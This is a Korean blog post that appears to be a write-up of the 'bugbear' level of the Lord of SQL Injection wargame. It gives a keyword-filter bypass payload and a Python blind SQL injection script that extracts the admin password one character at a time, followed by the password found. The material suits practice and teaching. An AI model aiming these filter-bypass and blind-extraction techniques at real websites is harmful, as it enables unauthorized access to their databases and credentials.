pw에서 싱글쿼터의 입력을 막아두었고,
no에서는 substr, ascii, =, or, and, like, 0x, 공백의 입력을 막아두고 있다.
위와 같은 쿼리를 통해 패스워드의 길이가 8임을 알 수 있었다.
?no=1%09||%09id%09in%09("admin")%26%26length(pw)%09in%09(8)
아래는 비밀번호 구하는 자동화 스크립트이다.
ascii를 사용하지 못하기 때문에 hex를 이용해주었다.
import requests
url="https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?"
cookies = {'PHPSESSID' : '4mq62u7cdjpstq522icoooqir5'}
arr=[]
for k in range(1,9):
for j in range(32,127):
val='no=1%0a%7c%7c%0aid%0ain%0a("admin")%26%26mid(pw,'+str(k)+',1)%0ain%0a("'+chr(j)+'")'
res=requests.get(url+val, cookies=cookies)
if "Hello admin" in res.text:
arr.append(chr(j))
print(arr)
break
print("password=",arr)
이 비밀번호를 이용해 ?pw=52dc3991를 입력해주었더니 아래와 같이 Clear하였다.
'Web Hacking > Lord of SQL Injection' 카테고리의 다른 글
[Lord of SQL Injection] assassin (0) | 2022.11.12 |
---|---|
[Lord of SQL Injection] Giant (0) | 2022.11.06 |
[Lord of SQL Injection] darkknight (0) | 2022.10.02 |
[Lord of SQL Injection] Golem (0) | 2022.09.24 |
[Lord of SQL Injection] Skeleton (0) | 2022.09.18 |